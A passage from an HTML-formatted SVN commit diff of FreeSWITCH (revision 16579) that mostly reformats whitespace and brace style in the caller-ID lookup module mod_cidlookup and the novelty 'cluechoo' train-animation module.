</del><ins>+                curl_easy_setopt(curl_handle, CURLOPT_TIMEOUT, globals.curl_timeout / 1000);
</ins><span class="cx">         }
</span><span class="cx"> #endif
</span><span class="cx">         curl_easy_setopt(curl_handle, CURLOPT_URL, query);
</span><span class="lines">@@ -417,34 +422,24 @@
</span><span class="cx">         curl_easy_perform(curl_handle);
</span><span class="cx">         curl_easy_getinfo(curl_handle, CURLINFO_RESPONSE_CODE, &httpRes);
</span><span class="cx">         curl_easy_cleanup(curl_handle);
</span><del>-        
-        if (        http_data.stream.data &&
-                        !zstr((char *)http_data.stream.data) &&
-                        strcmp(" ", http_data.stream.data) ) {
-                
</del><ins>+
+        if (http_data.stream.data && !zstr((char *) http_data.stream.data) && strcmp(" ", http_data.stream.data)) {
+
</ins><span class="cx">                 /* don't return UNKNOWN */
</span><del>-                if (strcmp("UNKNOWN", http_data.stream.data) ||
-                        strcmp("UNAVAILABLE", http_data.stream.data)) {
</del><ins>+                if (strcmp("UNKNOWN", http_data.stream.data) || strcmp("UNAVAILABLE", http_data.stream.data)) {
</ins><span class="cx">                         *response = switch_core_strdup(pool, http_data.stream.data);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-        time_diff = (switch_micro_time_now() - start_time); /* convert to milli from micro */
-        
-        if ((time_diff/1000) >= globals.curl_warnduration) {
</del><ins>+
+        time_diff = (switch_micro_time_now() - start_time);        /* convert to milli from micro */
+
+        if ((time_diff / 1000) >= globals.curl_warnduration) {
</ins><span class="cx">                 switch_core_time_duration_t duration;
</span><span class="cx">                 switch_core_measure_time(time_diff, &duration);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SLOW LOOKUP ("
</span><del>-                        "%um, "
-                        "%us, "
-                        "%ums"
-                        "): url: %s\n",
-                        duration.min,
-                        duration.sec,
-                        duration.ms,
-                        query);
</del><ins>+                                                 "%um, " "%us, " "%ums" "): url: %s\n", duration.min, duration.sec, duration.ms, query);
</ins><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_safe_free(http_data.stream.data);
</span><span class="cx">         return httpRes;
</span><span class="cx"> }
</span><span class="lines">@@ -463,19 +458,19 @@
</span><span class="cx">
</span><span class="cx">         /* NANPA check */
</span><span class="cx">         if (strlen(num) == 11 && num[0] == '1') {
</span><del>-                num++; /* skip past leading 1 */
</del><ins>+                num++;                                        /* skip past leading 1 */
</ins><span class="cx">         } else {
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-cid", num);
</span><span class="cx">         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "whitepages-api-key", globals.whitepages_apikey);
</span><del>-        
</del><ins>+
</ins><span class="cx">         query = switch_event_expand_headers(event, "http://api.whitepages.com/reverse_phone/1.0/?phone=${whitepages-cid};api_key=${whitepages-api-key}");
</span><span class="cx">         do_lookup_url(pool, event, &xml_s, query, NULL, NULL, 0);
</span><del>-        
</del><ins>+
</ins><span class="cx">         xml = switch_xml_parse_str_dup(xml_s);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!xml) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Unable to parse XML: %s\n", xml_s);
</span><span class="cx">                 goto done;
</span><span class="lines">@@ -487,14 +482,14 @@
</span><span class="cx">                 name = switch_core_strdup(pool, switch_xml_txt(node));
</span><span class="cx">                 goto area;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:displayname", -1);
</span><span class="cx">         if (node) {
</span><span class="cx">                 name = switch_core_strdup(pool, switch_xml_txt(node));
</span><span class="cx">         }
</span><span class="cx">
</span><del>-area:
-        
</del><ins>+ area:
+
</ins><span class="cx">         node = switch_xml_get(xml, "wp:listings", 0, "wp:listing", 0, "wp:address", 0, "wp:city", -1);
</span><span class="cx">         if (node) {
</span><span class="cx">                 city = switch_xml_txt(node);
</span><span class="lines">@@ -504,12 +499,12 @@
</span><span class="cx">         if (node) {
</span><span class="cx">                 state = switch_xml_txt(node);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (city || state) {
</span><span class="cx">                 area = switch_core_sprintf(pool, "%s %s", city ? city : "", state ? state : "");
</span><span class="cx">         }
</span><span class="cx">
</span><del>-done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         if (query) {
</span><span class="cx">                 switch_safe_free(query);
</span><span class="lines">@@ -519,23 +514,24 @@
</span><span class="cx">         }
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages XML: %s\n", xml_s);
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "whitepages name: %s, area: %s\n", name ? name : "(null)", area ? area : "(null)");
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">         switch_assert(cid);
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid->name = name;
</span><span class="cx">         cid->area = area;
</span><span class="cx">         cid->src = "whitepages";
</span><span class="cx">         return cid;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql) {
</del><ins>+static char *do_db_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, const char *sql)
+{
</ins><span class="cx">         char *name = NULL;
</span><span class="cx">         char *newsql = NULL;
</span><span class="cx">         char *err = NULL;
</span><span class="cx">         callback_t cbt = { 0 };
</span><span class="cx">         cbt.pool = pool;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.odbc_dsn) {
</span><span class="cx">                 newsql = switch_event_expand_headers(event, sql);
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "SQL: %s\n", newsql);
</span><span class="lines">@@ -551,13 +547,14 @@
</span><span class="cx">         return name;
</span><span class="cx"> }
</span><span class="cx">
</span><del>-static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate) {
</del><ins>+static cid_data_t *do_lookup(switch_memory_pool_t *pool, switch_event_t *event, const char *num, switch_bool_t skipurl, switch_bool_t skipcitystate)
+{
</ins><span class="cx">         char *number = NULL;
</span><span class="cx">         char *name = NULL;
</span><span class="cx">         char *url_query = NULL;
</span><span class="cx">         cid_data_t *cid = NULL;
</span><span class="cx">         switch_bool_t save_cache = SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">         switch_assert(cid);
</span><span class="cx">
</span><span class="lines">@@ -581,40 +578,37 @@
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!skipurl && globals.whitepages_apikey) {
</span><span class="cx">                 cid = do_whitepages_lookup(pool, event, number);
</span><del>-                if (cid && cid->name) { /* only cache if we have a name */
</del><ins>+                if (cid && cid->name) {        /* only cache if we have a name */
</ins><span class="cx">                         save_cache = SWITCH_TRUE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                
</del><ins>+
</ins><span class="cx">         if (!skipurl && globals.url) {
</span><span class="cx">                 url_query = switch_event_expand_headers(event, globals.url);
</span><span class="cx">                 do_lookup_url(pool, event, &name, url_query, NULL, NULL, 0);
</span><span class="cx">                 if (name) {
</span><span class="cx">                         cid->name = name;
</span><span class="cx">                         cid->src = "url";
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         save_cache = SWITCH_TRUE;
</span><span class="cx">                 }
</span><span class="cx">                 if (url_query != globals.url) {
</span><span class="cx">                         switch_safe_free(url_query);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         if (!cid) {
</span><span class="cx">                 cid = switch_core_alloc(pool, sizeof(cid_data_t));
</span><span class="cx">                 switch_assert(cid);
</span><span class="cx">         }
</span><span class="cx">         /* append area if we can */
</span><del>-        if (!cid->area &&
-                !skipcitystate &&
-                strlen(number) == 11 && number[0] == '1' &&
-                switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
-                
</del><ins>+        if (!cid->area && !skipcitystate && strlen(number) == 11 && number[0] == '1' && switch_odbc_available() && globals.odbc_dsn && globals.citystate_sql) {
+
</ins><span class="cx">                 /* yes, this is really area */
</span><span class="cx">                 name = do_db_lookup(pool, event, number, globals.citystate_sql);
</span><span class="cx">                 if (name) {
</span><span class="lines">@@ -626,7 +620,7 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!cid->area) {
</span><span class="cx">                 cid->area = "UNKNOWN";
</span><span class="cx">         }
</span><span class="lines">@@ -636,12 +630,12 @@
</span><span class="cx">         if (!cid->src) {
</span><span class="cx">                 cid->src = "UNKNOWN";
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (globals.cache && save_cache) {
</span><span class="cx">                 set_cache(pool, number, cid);
</span><span class="cx">         }
</span><del>-        
</del><span class="cx">
</span><ins>+
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "cidlookup source: %s\n", cid->src);
</span><span class="cx">         return cid;
</span><span class="cx"> }
</span><span class="lines">@@ -649,7 +643,7 @@
</span><span class="cx"> SWITCH_STANDARD_APP(cidlookup_app_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        
</del><ins>+
</ins><span class="cx">         char *argv[4] = { 0 };
</span><span class="cx">         int argc;
</span><span class="cx">         char *mydata = NULL;
</span><span class="lines">@@ -663,7 +657,7 @@
</span><span class="cx">         const char *number = NULL;
</span><span class="cx">         switch_bool_t skipurl = SWITCH_FALSE;
</span><span class="cx">         switch_bool_t skipcitystate = SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (session) {
</span><span class="cx">                 pool = switch_core_session_get_pool(session);
</span><span class="cx">         } else {
</span><span class="lines">@@ -674,7 +668,7 @@
</span><span class="cx">         if (!(mydata = switch_core_session_strdup(session, data))) {
</span><span class="cx">                 return;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((argc = switch_separate_string(mydata, ' ', argv, (sizeof(argv) / sizeof(argv[0]))))) {
</span><span class="cx">                 if (argc > 0) {
</span><span class="cx">                         number = switch_core_session_strdup(session, argv[0]);
</span><span class="lines">@@ -687,20 +681,20 @@
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (!number && profile) {
</span><span class="cx">                 number = switch_caller_get_field_by_name(profile, "caller_id_number");
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (number) {
</span><span class="cx">                 cid = do_lookup(pool, event, number, skipurl, skipcitystate);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (switch_string_var_check_const(cid->name)) {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);        
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_CHANNEL_LOG(channel), SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
</ins><span class="cx">                 switch_goto_status(SWITCH_STATUS_GENERR, done);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (cid && channel) {
</span><span class="cx">                 switch_channel_set_variable(channel, "original_caller_id_name", switch_core_strdup(pool, profile->caller_id_name));
</span><span class="cx">                 if (!zstr(cid->src)) {
</span><span class="lines">@@ -711,10 +705,10 @@
</span><span class="cx">                 }
</span><span class="cx">                 profile->caller_id_name = switch_core_strdup(profile->pool, cid->name);;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(&event);
</span><span class="cx">         }
</span><span class="lines">@@ -722,6 +716,7 @@
</span><span class="cx">                 switch_core_destroy_memory_pool(&pool);
</span><span class="cx">         }
</span><span class="cx"> }
</span><ins>+
</ins><span class="cx"> SWITCH_STANDARD_API(cidlookup_function)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><span class="lines">@@ -736,7 +731,7 @@
</span><span class="cx">         switch_bool_t skipurl = SWITCH_FALSE;
</span><span class="cx">         switch_bool_t skipcitystate = SWITCH_FALSE;
</span><span class="cx">         switch_bool_t verbose = SWITCH_FALSE;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (zstr(cmd)) {
</span><span class="cx">                 switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">         }
</span><span class="lines">@@ -753,22 +748,18 @@
</span><span class="cx">                 if (argc < 1) {
</span><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, usage);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!strcmp("status", argv[0])) {
</span><del>-                        stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
-                                                                        globals.url ? globals.url : "(null)",
-                                                                        (globals.cache) ? "true" : "false",
-                                                                        globals.cache_expire);
-                        stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
-                                                                        globals.curl_timeout,
-                                                                        globals.curl_warnduration);
-                                                                        
-                        stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
-                                                                        globals.odbc_dsn ? globals.odbc_dsn : "(null)",
-                                                                        globals.sql ? globals.sql : "(null)",
-                                                                        globals.citystate_sql ? globals.citystate_sql : "(null)");
-                        stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available() ? "true" : "false");
-                        
</del><ins>+                        stream->write_function(stream, "+OK\n url: %s\n cache: %s\n cache-expire: %d\n",
+                                                                 globals.url ? globals.url : "(null)", (globals.cache) ? "true" : "false", globals.cache_expire);
+                        stream->write_function(stream, " curl-timeout: %" SWITCH_TIME_T_FMT "\n curl-warn-duration: %" SWITCH_TIME_T_FMT "\n",
+                                                                 globals.curl_timeout, globals.curl_warnduration);
+
+                        stream->write_function(stream, " odbc-dsn: %s\n sql: %s\n citystate-sql: %s\n",
+                                                                 globals.odbc_dsn ? globals.odbc_dsn : "(null)",
+                                                                 globals.sql ? globals.sql : "(null)", globals.citystate_sql ? globals.citystate_sql : "(null)");
+                        stream->write_function(stream, " ODBC Compiled: %s\n", switch_odbc_available()? "true" : "false");
+
</ins><span class="cx">                         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">                 }
</span><span class="cx">                 for (i = 1; i < argc; i++) {
</span><span class="lines">@@ -784,7 +775,7 @@
</span><span class="cx">                 cid = do_lookup(pool, event, argv[0], skipurl, skipcitystate);
</span><span class="cx">                 if (cid) {
</span><span class="cx">                         if (switch_string_var_check_const(cid->name)) {
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);        
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_CRIT, "Invalid CID data {%s} contains a variable\n", cid->name);
</ins><span class="cx">                                 stream->write_function(stream, "-ERR Invalid CID data {%s} contains a variable\n", cid->name);
</span><span class="cx">                                 switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">                         }
</span><span class="lines">@@ -798,11 +789,11 @@
</span><span class="cx">         }
</span><span class="cx">         switch_goto_status(SWITCH_STATUS_SUCCESS, done);
</span><span class="cx">
</span><del>-usage:
</del><ins>+ usage:
</ins><span class="cx">         stream->write_function(stream, "-ERR\n%s\n", SYNTAX);
</span><span class="cx">         switch_goto_status(status, done);
</span><del>-        
-done:
</del><ins>+
+ done:
</ins><span class="cx">         switch_safe_free(mydata);
</span><span class="cx">         if (event) {
</span><span class="cx">                 switch_event_destroy(&event);
</span><span class="lines">@@ -822,16 +813,16 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         memset(&globals, 0, sizeof(globals));
</span><del>-        
</del><ins>+
</ins><span class="cx">         globals.pool = pool;
</span><span class="cx">
</span><span class="cx">         do_config(SWITCH_FALSE);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if ((switch_event_bind_removable(modname, SWITCH_EVENT_RELOADXML, NULL, event_handler, NULL, &reload_xml_event) != SWITCH_STATUS_SUCCESS)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Couldn't bind event!\n");
</span><span class="cx">                 return SWITCH_STATUS_TERM;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "cidlookup", "cidlookup API", cidlookup_function, SYNTAX);
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "cidlookup", "Perform a CID lookup", "Perform a CID lookup",
</span><span class="cx">                                  cidlookup_app_function, "[number [skipurl]]", SAF_SUPPORT_NOMEDIA | SAF_ROUTING_EXEC);
</span></span></pre></div>
<a id="freeswitchtrunksrcmodapplicationsmod_cluechoomod_cluechooc"></a>
<div class="modfile"><h4>Modified: freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c (16578 => 16579)</h4>
<pre class="diff"><span>
<span class="info">--- freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c        2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/applications/mod_cluechoo/mod_cluechoo.c        2010-02-06 03:38:24 UTC (rev 16579)
</span><span class="lines">@@ -1,6 +1,6 @@
</span><span class="cx"> /*
</span><span class="cx"> * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
</span><del>- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
</del><ins>+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
</ins><span class="cx"> *
</span><span class="cx"> * Version: MPL 1.1
</span><span class="cx"> *
</span><span class="lines">@@ -52,11 +52,11 @@
</span><span class="cx"> SWITCH_STANDARD_APP(cluechoo_app)
</span><span class="cx"> {
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_channel_answer(channel);
</span><span class="cx">         switch_ivr_sleep(session, 1000, SWITCH_FALSE, NULL);
</span><span class="cx">
</span><del>-        while(switch_channel_ready(channel)) {
</del><ins>+        while (switch_channel_ready(channel)) {
</ins><span class="cx">                 if (vgo(0, session) < 0) {
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -66,7 +66,7 @@
</span><span class="cx"> SWITCH_STANDARD_API(cluechoo_function)
</span><span class="cx"> {
</span><span class="cx">         //stream->write_function(stream, "+OK Reloading\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         go(0);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="cx"> }
</span><span class="lines">@@ -81,7 +81,7 @@
</span><span class="cx">         *module_interface = switch_loadable_module_create_module_interface(pool, modname);
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_NOTICE, "Hello World!\n");
</span><del>-        
</del><ins>+
</ins><span class="cx">         SWITCH_ADD_API(api_interface, "cluechoo", "Cluechoo API", cluechoo_function, "syntax");
</span><span class="cx">
</span><span class="cx">         SWITCH_ADD_APP(app_interface, "cluechoo", "cluechoo", "cluechoo", cluechoo_app, "", SAF_NONE);
</span><span class="lines">@@ -134,36 +134,45 @@
</span><span class="cx"> #include <unistd.h>
</span><span class="cx"> #include "sl.h"
</span><span class="cx">
</span><del>-int ACCIDENT = 0;
-int LOGO = 0;
-int FLY = 0;
</del><ins>+int ACCIDENT = 0;
+int LOGO = 0;
+int FLY = 0;
</ins><span class="cx">
</span><span class="cx"> int my_mvaddstr(int y, int x, char *str)
</span><span class="cx"> {
</span><del>- for ( ; x < 0; ++x, ++str)
-                if (*str == '\0') return ERR;
- for ( ; *str != '\0'; ++str, ++x)
-                if (mvaddch(y, x, *str) == ERR) return ERR;
- return OK;
</del><ins>+        for (; x < 0; ++x, ++str)
+                if (*str == '\0')
+                        return ERR;
+        for (; *str != '\0'; ++str, ++x)
+                if (mvaddch(y, x, *str) == ERR)
+                        return ERR;
+        return OK;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> void option(char *str)
</span><span class="cx"> {
</span><del>- extern int ACCIDENT, FLY;
</del><ins>+        extern int ACCIDENT, FLY;
</ins><span class="cx">
</span><del>- while (*str != '\0') {
</del><ins>+        while (*str != '\0') {
</ins><span class="cx">                 switch (*str++) {
</span><del>-         case 'a': ACCIDENT = 1; break;
-         case 'F': FLY = 1; break;
-         case 'l': LOGO = 1; break;
-         default: break;
</del><ins>+                case 'a':
+                        ACCIDENT = 1;
+                        break;
+                case 'F':
+                        FLY = 1;
+                        break;
+                case 'l':
+                        LOGO = 1;
+                        break;
+                default:
+                        break;
</ins><span class="cx">                 }
</span><del>- }
</del><ins>+        }
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx"> int go(int i)
</span><span class="cx"> {
</span><del>- int x;
</del><ins>+        int x;
</ins><span class="cx">         int sleep_len = 40000;
</span><span class="cx">
</span><span class="cx">         if (i > 0) {
</span><span class="lines">@@ -171,23 +180,25 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /*
</span><del>- for (i = 1; i < argc; ++i) {
-                if (*argv[i] == '-') {
-                        option(argv[i] + 1);
-                }
- }
-        */
- initscr();
- signal(SIGINT, SIG_IGN);
- noecho();
- leaveok(stdscr, TRUE);
- scrollok(stdscr, FALSE);
</del><ins>+         for (i = 1; i < argc; ++i) {
+         if (*argv[i] == '-') {
+         option(argv[i] + 1);
+         }
+         }
+         */
+        initscr();
+        signal(SIGINT, SIG_IGN);
+        noecho();
+        leaveok(stdscr, TRUE);
+        scrollok(stdscr, FALSE);
</ins><span class="cx">
</span><del>- for (x = COLS - 1; ; --x) {
</del><ins>+        for (x = COLS - 1;; --x) {
</ins><span class="cx">                 if (LOGO == 0) {
</span><del>-                        if (add_D51(x) == ERR) break;
</del><ins>+                        if (add_D51(x) == ERR)
+                                break;
</ins><span class="cx">                 } else {
</span><del>-                        if (add_sl(x) == ERR) break;
</del><ins>+                        if (add_sl(x) == ERR)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">                 refresh();
</span><span class="cx">                 if (x == COLS / 4) {
</span><span class="lines">@@ -195,9 +206,9 @@
</span><span class="cx">                 } else {
</span><span class="cx">                         usleep(sleep_len);
</span><span class="cx">                 }
</span><del>- }
- mvcur(0, COLS - 1, LINES - 1, 0);
- endwin();
</del><ins>+        }
+        mvcur(0, COLS - 1, LINES - 1, 0);
+        endwin();
</ins><span class="cx">
</span><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="lines">@@ -205,20 +216,20 @@
</span><span class="cx">
</span><span class="cx"> int vgo(int i, switch_core_session_t *session)
</span><span class="cx"> {
</span><del>- int x;
</del><ins>+        int x;
</ins><span class="cx">         int sleep_len = 40000;
</span><span class="cx">         switch_channel_t *channel = switch_core_session_get_channel(session);
</span><span class="cx">         switch_frame_t *read_frame;
</span><span class="cx">         switch_status_t status;
</span><del>- switch_codec_implementation_t read_impl = {0};
-        switch_codec_t codec = {0};
</del><ins>+        switch_codec_implementation_t read_impl = { 0 };
+        switch_codec_t codec = { 0 };
</ins><span class="cx">         int hangover_hits = 0, hangunder_hits = 0;
</span><span class="cx">         int diff_level = 400;
</span><span class="cx">         int hangover = 40, hangunder = 15;
</span><span class="cx">         int talking = 0;
</span><span class="cx">         int energy_level = 500;
</span><span class="cx">         int done = 0;
</span><del>- switch_core_session_get_read_impl(session, &read_impl);
</del><ins>+        switch_core_session_get_read_impl(session, &read_impl);
</ins><span class="cx">
</span><span class="cx">         printf("%s", SWITCH_SEQ_CLEARSCR);
</span><span class="cx">
</span><span class="lines">@@ -226,16 +237,16 @@
</span><span class="cx">                 sleep_len = i;
</span><span class="cx">         }
</span><span class="cx">
</span><del>- initscr();
- signal(SIGINT, SIG_IGN);
- noecho();
- leaveok(stdscr, TRUE);
- scrollok(stdscr, FALSE);
</del><ins>+        initscr();
+        signal(SIGINT, SIG_IGN);
+        noecho();
+        leaveok(stdscr, TRUE);
+        scrollok(stdscr, FALSE);
</ins><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (switch_core_codec_init(&codec,
</span><span class="cx">                                                          "L16",
</span><del>-                                                         NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
</del><ins>+                                                         NULL, (int) read_impl.samples_per_second, read_impl.microseconds_per_packet / 1000,
</ins><span class="cx">                                                          1, SWITCH_CODEC_FLAG_ENCODE | SWITCH_CODEC_FLAG_DECODE, NULL,
</span><span class="cx">                                                          switch_core_session_get_pool(session)) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 return -1;
</span><span class="lines">@@ -243,28 +254,27 @@
</span><span class="cx">
</span><span class="cx">         switch_core_session_set_read_codec(session, &codec);
</span><span class="cx">
</span><del>- for (x = COLS - 1; ; --x) {
</del><ins>+        for (x = COLS - 1;; --x) {
</ins><span class="cx">
</span><span class="cx">                 if (!done && !switch_channel_ready(channel)) {
</span><span class="cx">                         done = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (!done) {
</span><span class="cx">                         status = switch_core_session_read_frame(session, &read_frame, SWITCH_IO_FLAG_NONE, 0);
</span><span class="cx">                         if (!SWITCH_READ_ACCEPTABLE(status)) {
</span><span class="cx">                                 done = 1;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
-                if (!done)
-                {
</del><ins>+
+                if (!done) {
</ins><span class="cx">                         int16_t *fdata = (int16_t *) read_frame->data;
</span><span class="cx">                         uint32_t samples = read_frame->datalen / sizeof(*fdata);
</span><span class="cx">                         uint32_t score, count = 0, j = 0;
</span><span class="cx">                         double energy = 0;
</span><span class="cx">                         int divisor = 0;
</span><span class="cx">
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         for (count = 0; count < samples; count++) {
</span><span class="cx">                                 energy += abs(fdata[j]);
</span><span class="cx">                                 j += read_impl.number_of_channels;
</span><span class="lines">@@ -275,7 +285,7 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         score = (uint32_t) (energy / (samples / divisor));
</span><del>-                        
</del><ins>+
</ins><span class="cx">                         if (score > energy_level) {
</span><span class="cx">                                 uint32_t diff = score - energy_level;
</span><span class="cx">                                 if (hangover_hits) {
</span><span class="lines">@@ -284,7 +294,7 @@
</span><span class="cx">
</span><span class="cx">                                 if (diff >= diff_level || ++hangunder_hits >= hangunder) {
</span><span class="cx">                                         hangover_hits = hangunder_hits = 0;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                                         if (!talking) {
</span><span class="cx">                                                 talking = 1;
</span><span class="cx">                                         }
</span><span class="lines">@@ -310,22 +320,24 @@
</span><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">                 if (LOGO == 0) {
</span><del>-                        if (add_D51(x) == ERR) break;
</del><ins>+                        if (add_D51(x) == ERR)
+                                break;
</ins><span class="cx">                 } else {
</span><del>-                        if (add_sl(x) == ERR) break;
</del><ins>+                        if (add_sl(x) == ERR)
+                                break;
</ins><span class="cx">                 }
</span><span class="cx">                 refresh();
</span><span class="cx">
</span><span class="cx">                 /*
</span><del>-                if (x == COLS / 4) {
-                        sleep(2);
-                } else {
-                        usleep(sleep_len);
-                }
-                */
- }
- mvcur(0, COLS - 1, LINES - 1, 0);
- endwin();
</del><ins>+                 if (x == COLS / 4) {
+                 sleep(2);
+                 } else {
+                 usleep(sleep_len);
+                 }
+                 */
+        }
+        mvcur(0, COLS - 1, LINES - 1, 0);
+        endwin();
</ins><span class="cx">
</span><span class="cx">         switch_core_session_set_read_codec(session, NULL);
</span><span class="cx">         switch_core_codec_destroy(&codec);
</span><span class="lines">@@ -335,103 +347,114 @@
</span><span class="cx">
</span><span class="cx"> int add_sl(int x)
</span><span class="cx"> {
</span><del>- static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
-                = {{LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
-                 {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
-                 {LOGO1, LOGO2, LOGO3, LOGO4, LWHL31, LWHL32, DELLN},
-                 {LOGO1, LOGO2, LOGO3, LOGO4, LWHL41, LWHL42, DELLN},
-                 {LOGO1, LOGO2, LOGO3, LOGO4, LWHL51, LWHL52, DELLN},
-                 {LOGO1, LOGO2, LOGO3, LOGO4, LWHL61, LWHL62, DELLN}};
</del><ins>+        static char *sl[LOGOPATTERNS][LOGOHIGHT + 1]
+        = { {LOGO1, LOGO2, LOGO3, LOGO4, LWHL11, LWHL12, DELLN},
+        {LOGO1, LOGO2, LOGO3, LOGO4, LWHL21, LWHL22, DELLN},
